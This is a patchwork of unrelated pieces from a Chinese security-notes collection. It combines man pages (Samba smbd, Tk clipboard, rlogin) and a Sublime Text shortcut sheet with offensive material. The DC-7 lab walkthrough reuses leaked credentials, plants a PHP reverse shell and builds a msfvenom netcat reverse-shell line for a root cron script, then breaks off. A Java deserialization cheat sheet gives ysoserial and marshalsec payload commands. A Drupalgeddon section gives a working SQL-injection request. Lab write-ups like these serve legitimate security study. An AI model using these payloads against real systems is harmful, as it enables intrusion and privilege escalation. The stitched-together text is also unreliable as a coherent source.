Samba uses PAM for authentication (when presented with a plaintext password), for account checking (is this account disabled?) and for session management\&. The degree too which samba supports PAM is restricted by the limitations of the SMB protocol and the \fIobey pam restrictions\fR \fBsmb.conf\fR(5) paramater\&. When this is set, the following restrictions apply:
.TP 3
\(bu
\fBAccount Validation\fR: All accesses to a samba server are checked against PAM to see if the account is vaild, not disabled and is permitted to login at this time\&. This also applies to encrypted logins\&.
.TP
\(bu
\fBSession Management\fR: When not using share level secuirty, users must pass PAM's session checks before access is granted\&. Note however, that this is bypassed in share level secuirty\&. Note also that some older pam configuration files may need a line added for session support\&.
.LP
.SH "版本 VERSION"
.PP
此手册页是针对samba套件版本3.0的。
.SH "诊断 DIAGNOSTICS"
.PP
通常情况下诊断信息都记录到指定好的记录文件中。这个文件的名称是在编译时指定的，但也可以用命令行来指定。
.PP
用户可以得到的诊断信息的数量和种类取决于用户执行客户端程序时所用的调试等级。如果你发现有问题的话，把调试级设到3并详细阅读记录文件里的内容。
.PP
很多信息都无须加以说明。不幸的是，在写手册页时，源代码中有着太多的诊断信息，它们保证了对每种情况都加以描述，却无法写入文档。在此时，你最好还是用grep查找源代码并检查引起诊断信息的条件。
.SH "信号 SIGNALS"
.PP
向\fBsmbd\fR发送一个SIGHUP信号可以使它在一个很短时间内重新装入\fIsmb.conf\fR配置文件。
.PP
我们 \fB不\fR 推荐你使用SIGKILL (-9)来终止\fBsmbd\fR进程除非这是最后的方法，因为这样做可能导致名字数据库不一致。正确的方法是发送SIGTERM (-15)信号并等待程序自行结束。
.PP
另外，\fBsmbd\fR程序的调试记录等级也可以通过\fBsmbcontrol\fR(1) 调高或者调低。(向程序发送一个SIGUSR1或SIGUSR2信号(kill -USR2 <nmbd-pid>)的方法在Samba2.2 中已经不再使用。) 通过使用这样的方法可以诊断一些暂时的问题，同时仍然可以在一个正常的并且较低的记录等级来运行。
.PP
Note that as the signal handlers send a debug write, they are not re-entrant in \fBsmbd\fR. This you should wait until\fBsmbd\fR is in a state of waiting for an incoming SMB before issuing them\&. It is possible to make the signal handlers safe by un-blocking the signals before the select call and re-blocking them after, however this would affect performance.
.SH "参见 SEE ALSO"
.PP
\fBhosts_access\fR(5), \fBinetd\fR(8), \fBnmbd\fR(8), \fBsmb.conf\fR(5), \fBsmbclient\fR(1), \fBtestparm\fR(1), \fBtestprns\fR(1), 还有互联网草案 \fIrfc1001.txt\fR, \fIrfc1002.txt\fR. 另外，CIFS (从前的 SMB) 规约可以在 http://samba.org/cifs/网页上找到链接。
.SH "作者 AUTHOR"
.PP
samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展，类似linux内核的开发方式。
.PP
最初的samba手册页是 Karl Auer写的。
手册页源码已经转换为YODL格式(另一种很好的开源软件，可以在ftp://ftp.ice.rug.nl/pub/unix找到)，由Jeremy Sllison 更新到Samba2.0 版本。
Gerald Carter 在Samba2.2中将它转化为DocBook 格式。
Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
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sec-knowleage
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# DC 7
下载地址：https://download.vulnhub.com/dc/DC-7.zip
## 实战演练
靶场IP地址:`192.168.32.166`
扫描对外端口
```
┌──(root💀kali)-[~]
└─# nmap -p1-65535 192.168.32.166
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 01:44 EDT
Nmap scan report for 192.168.32.166
Host is up (0.00068s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:85:DD:9B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.66 seconds
```
浏览器访问80端口,发现web框架是`Drupal`
扫描drupal没有发现什么东西
```
┌──(root💀kali)-[/opt/droopescan-master]
└─# docker run droopescan scan drupal -u http://192.168.32.166
[+] No plugins found.
[+] Themes found:
startupgrowth_lite http://192.168.32.166/themes/startupgrowth_lite/
http://192.168.32.166/themes/startupgrowth_lite/LICENSE.txt
[+] Possible version(s):
8.7.0
8.7.0-alpha1
8.7.0-alpha2
8.7.0-beta1
8.7.0-beta2
8.7.0-rc1
8.7.1
8.7.10
8.7.11
8.7.12
8.7.13
8.7.14
8.7.2
8.7.3
8.7.4
8.7.5
8.7.6
8.7.7
8.7.8
8.7.9
[+] Possible interesting urls found:
Default admin - http://192.168.32.166/user/login
[+] Scan finished (0:02:01.475158 elapsed)
```
Google搜索`@DC7USER`,发现一个源码仓库
在config.php找到一个用户和密码
```
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
```
使用这个密码进行SSH登录,发现可以登录成功
查看`mbox`文件
```
dc7user@dc-7:~$ cat mbox
From root@dc-7 Thu Aug 29 17:00:22 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:00:22 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3EPu-0000CV-5C
for root@dc-7; Thu, 29 Aug 2019 17:00:22 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3EPu-0000CV-5C@dc-7>
Date: Thu, 29 Aug 2019 17:00:22 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
```
发现一个定时计划
```
dc7user@dc-7:~$ cat /opt/scripts/backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
dc7user@dc-7:~$ ls -al /opt/scripts/backups.sh
-rwxrwxr-x 1 root www-data 520 Aug 29 2019 /opt/scripts/backups.sh
```
上面分析表明，脚本每三分钟被root执行一次，而www-data的用户是有写权限的，所以我们需要想办法获得这个权限，写shell反弹。
于是，我在 google 上查看了 drush 命令，发现了一个用于更改帐户密码的命令。
```
dc7user@dc-7:/var/www/html$ ls
autoload.php composer.json composer.lock core example.gitignore index.php INSTALL.txt LICENSE.txt modules profiles README.txt robots.txt sites themes update.php vendor web.config
dc7user@dc-7:/var/www/html$ drush user-password admin --password=test
Changed password for admin
```
访问管理控制台后，是时候通过在其中注入恶意内容来利用 Web 应用程序了。直接将恶意脚本编写为网页内容不会给我们应用程序的反向外壳，但经过一段时间后，我们得出结论，它需要 PHP 模块。因此，我们通过**管理>扩展>列表>安装新模块来安装新模块。**
您可以从下面的 URL 下载 Drupal 的 PHP 包并上传 tar 文件以安装新模块。
> https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
安装完成
再次，移动到Manage > Extend >filters并启用 PHP filters 的复选框。
现在使用 Pentest Monkey PHP 脚本，即"reverse shell backdoor.php"作为基本内容注入。不要忘记添加"侦听 IP 和端口"以获得反向连接。继续将"文本格式更改为 PHP"并启用发布复选框。保持 netcat 监听器开启，以便接收传入的 shell。
一切设置正确后，单击预览按钮，您将通过 netcat 获得反向连接。
伟大的！！我们的 netcat 会话是 www-data，如果您检查 /opt/scripts/backup.sh 的权限，您会注意到 www-data 拥有访问或修改此文件的所有权限。因此，我们可以通过修改源文件的内容来滥用用户文件的权限来提升权限。
生成反弹shell
```
┌──(root💀kali)-[/opt/droopescan-master]
└─# msfvenom -p cmd/unix/reverse_netcat lhost=192.168.32.130 lport=9999 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 100 bytes
mkfifo /tmp/yvixve; nc 192.168.32.130 9999 0</tmp/yvixve | /bin/sh >/tmp/yvixve 2>&1; rm /tmp/yvixve
```
添加shell到计划任务
|
sec-knowleage
|
# Java Deserialization
## Detection
- `"AC ED 00 05"` in Hex
* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
* `00 05`: STREAM_VERSION. The serialization version.
- `"rO0"` in Base64
- Content-type = "application/x-java-serialized-object"
- `"H4sIAAAAAAAAAJ"` in gzip(base64)
## Tools
### Ysoserial
[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
```java
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
```
**List of payloads included in ysoserial:**
```ps1
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
```
### Burp extensions using ysoserial
- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
### Alternative Tooling
- [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
- [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified)
- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe)
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
```java
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
-a - generates/tests all payloads for that marshaller
-t - runs in test mode, unmarshalling the generated payloads after generating them.
-v - verbose mode, e.g. also shows the generated payload in test mode.
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
arguments - Gadget specific arguments
```
Payload generators for the following marshallers are included:<br />
| Marshaller | Gadget Impact
| ------------------------------- | ----------------------------------------------
| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization<br/>various third party libraries RCEs
| Hessian|Burlap | various third party RCEs
| Castor | dependency library RCE
| Jackson | **possible JDK only RCE**, various third party RCEs
| Java | yet another third party RCE
| JsonIO | **JDK only RCE**
| JYAML | **JDK only RCE**
| Kryo | third party RCEs
| KryoAltStrategy | **JDK only RCE**
| Red5AMF(0|3) | **JDK only RCE**
| SnakeYAML | **JDK only RCEs**
| XStream | **JDK only RCEs**
| YAMLBeans | third party RCE
## Gadgets
Require:
* `java.io.Serializable`
## References
- [Github - ysoserial](https://github.com/frohoff/ysoserial)
- [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau | Mar 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
- [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
|
sec-knowleage
|
'\"
'\" Copyright (c) 1994 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: clipboard.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: clipboard.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH clipboard 3tk 4.0 Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
clipboard \- 操纵 Tk 剪贴板
.SH "总览 SYNOPSIS"
\fBclipboard \fIoption\fR ?\fIarg arg ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令提供了到 Tk 剪贴板的 Tcl 接口，它使用选择机制来为以后的取回存储数据。要把数据复制到剪贴板中，必须调用 \fBclipboard clear\fR，随后是到 \fBclipboard append \fR的一个或多个调用的一个序列。要确保自动更新剪贴板，在返回到事件循环之前必须完成所有添加。
.PP
给 \fBclipboard\fR 的第一个参数决定剩余参数的格式和这个命令的行为。当前支持下列形式(form):
.PP
.TP
\fBclipboard clear\fR ?\fB-displayof\fR \fIwindow\fR?
要求在 \fIwindow \fR的显示器上剪贴板的所有权并删除所有以前的内容。\fIWindow\fR 缺省为“.”。返回一个空串。
.TP
\fBclipboard append\fR ?\fB\-displayof\fR \fIwindow\fR? ?\fB\-format\fR \fIformat\fR? ?\fB\-type\fR \fItype\fR? ?\fB\-\|\-\fR? \fIdata\fR
向在 \fIwindow \fR的显示器上的剪贴板添加 \fIdata\fR ，其形式由 \fItype\fR 给出，表示法(representation)由 \fIformat\fR 给出，并且要求在 \fIwindow \fR的显示器上剪贴板的所有权。
.RS
.PP
\fIType\fR 参数指定返回的选择的形式(用 ICCCM 术语是想要的转换“目标”)，并且应当是一个原子名字如 STRING 或 FILE_NAME；详情参见客户间通信协定手册。\fIType\fR 缺省为 STRING。
.PP
\fIformat\fR 参数指定用来把选择传输(transmit)到请求者的表示法(ICCCM 的表 2 的第二列)，并且缺省为 STRING。如果 \fIformat\fR 是 STRING，则把选择传输为 8-bit ASCII 字符。如果 \fIformat\fR 是 ATOM，则把 \fIdata\fR 分割为用白空格分隔的字段；把每个字段转换成它的原子值，传输 32-bit 原子值而不是原子的名字。对于任何其他的 \fIformat\fR，把 \fIdata\fR 分割为用白空格分隔的字段；把每个字段转换成一个 32-bit 整数；向选择的请求者传输一个整数的数组。注意在转换之前串联(concatenate)传递给 \fBclipboard append\fR 的字符串，所以调用者必须注意确保跨越字符串边界的间隔。添加到剪贴板的有相同 \fItype\fR 的所有项目必须有相同的 \fIformat\fR。
.PP
\fIformat\fR 参数只在与不使用 Tk 的请求者相兼容时需要。如果使用 Tk 工具箱来取回 CLIPBOARD 选择，则在请求端把这个值转换回一个字符串，所以 \fIformat\fR 是无关的(irrelevant)。
.PP
\fB\-\|\-\fR 参数来标记选项的结束: 下一个参数总是被用做 \fIdata\fR。在数据开始于 \fB-\fR 的时候这个特征会带来方便。
.RE
.SH "关键字 KEYWORDS"
clear, format, clipboard, append, selection, type
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/05/17
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
rlogin
===
从当前终端登录到远程Linux主机
## 补充说明
**rlogin命令** 用于从当前终端登录到远程Linux主机。
### 语法
```shell
rlogin(选项)(参数)
```
### 选项
```shell
-8：允许输入8位字符数据；
-e脱离字符>：设置脱离字符；
-E：滤除脱离字符；
-l用户名称>：指定要登入远端主机的用户名称；
-L：使用litout模式进行远端登入阶段操作。
```
### 参数
远程主机：指定要登录的远程主机（ip地址或者域名）。
|
sec-knowleage
|
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title: Sublime Text
date: 2022-11-23 16:23:31.695666
background: bg-[#e8973e]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 49 keyboard shortcuts found in Sublime Text
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Keyboard Shortcuts
------------------
### Editing {.row-span-3}
Shortcut | Action
---|---
`Ctrl` `X` | Cut line
`Ctrl` `Enter` | Insert line after
`Ctrl` `Shift` `Enter` | Insert line before
`Ctrl` `Shift` `Up` | Move line/selection up
`Ctrl` `Shift` `Down` | Move line/selection down
`Ctrl` `L` | Select line - Repeat to select next lines
`Ctrl` `D` | Select word - Repeat selects other occurrences
`Ctrl` `M` | Jump to closing parentheses - Repeat to jump to opening parentheses
`Ctrl` `Shift` `M` | Select all contents of the current parentheses
`Ctrl` `Shift` `K` | Delete line
`Ctrl` `K, K` | Delete from cursor to end of line
`Ctrl` `K` `Backspace` | Delete from cursor to start of line
`Ctrl` `]` | Indent current line(s)
`Ctrl` `[` | Un-indent current line(s)
`Ctrl` `Shift` `D` | Duplicate line(s)
`Ctrl` `J` | Join line below to the end of the current line
`Ctrl` `/` | Comment/un-comment current line
`Ctrl` `Shift` `/` | Block comment current selection
`Ctrl` `Y` | Redo, or repeat last keyboard shortcut command
`Ctrl` `Shift` `V` | Paste and indent correctly
`Ctrl` `Space` | Select next auto-complete suggestion
`Ctrl` `U` | Soft undo; jumps to your last change before undoing, change when repeated
`Alt` `Shift` `W` | Wrap selection in HTML tag
`Alt` `.` | Close current HTML tag
`Alt` `Q` | Hard wrap line to ruler column setting
{.shortcuts}
### Navigation
Shortcut | Action
---|---
`Ctrl` `P` | Quick-open files by name
`Ctrl` `R` | Goto symbol
`Ctrl` `;` | Goto word in current file
`Ctrl` `G` | Goto line in current file
{.shortcuts}
### General
Shortcut | Action
---|---
`Ctrl` `Shift` `P` | Command prompt
`Ctrl` `K, B` | Toggle sidebar
`Ctrl` `Shift` `Alt` `P` | Show scope in status bar
{.shortcuts}
### Find/Replace
Shortcut | Action
---|---
`Ctrl` `F` | Find
`Ctrl` `H` | Replace
`Ctrl` `Shift` `F` | Find in files
{.shortcuts}
### Split window
Shortcut | Action
---|---
`Alt` `Shift` `1` | Revert view to single column
`Alt` `Shift` `2` | Split view into two columns
`Alt` `Shift` `3` | Split view into three columns
`Alt` `Shift` `4` | Split view into four columns
`Alt` `Shift` `5` | Set view to grid (4 groups)
`Alt` `Shift` `8` | Split view into two rows
`Ctrl` `1-4` | Jump to group where number is 1-4
`Ctrl` `Shift` `1-4` | Move file to specified group where number is 1-4
{.shortcuts}
### Bookmarks
Shortcut | Action
---|---
`Ctrl` `F2` | Toggle bookmark
`F2` | Next bookmark
`Shift` `F2` | Previous bookmark
`Ctrl` `Shift` `F2` | Clear bookmarks
{.shortcuts}
### Text manipulation
Shortcut | Action
---|---
`Ctrl` `K, U` | Transform to uppercase
`Ctrl` `K, L` | Transform to lowercase
{.shortcuts}
Also see
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- [Keyboard shortcuts for Sublime Text](http://docs.sublimetext.info/en/latest/reference/keyboard_shortcuts_win.html) _(docs.sublimetext.info)_
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sec-knowleage
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# Drupal < 7.32 “Drupalgeddon” SQL注入漏洞（CVE-2014-3704）
Drupal 是一款用量庞大的CMS，其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞，攻击者可以执行任意SQL语句，插入、修改管理员信息，甚至执行任意代码。
## 漏洞环境
执行如下命令启动Drupal 7.31环境：
```
docker compose up -d
```
环境启动后，访问`http://your-ip:8080`即可看到Drupal的安装页面，使用默认配置安装即可。
其中，Mysql数据库名填写`drupal`，数据库用户名、密码为`root`，地址为`mysql`：
安装完成后，访问首页：
## 漏洞复现
该漏洞无需认证，发送如下数据包即可执行恶意SQL语句：
```
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
```
可见，信息已被爆出：
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sec-knowleage
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## AJAX
> 用 JS 实现页面的局部更新
### 简介
- AJAX = Asynchronous JavaScript and XML（异步的 JavaScript 和 XML）
- AJAX 不是新的编程语言，而是一种使用现有标准的新方法
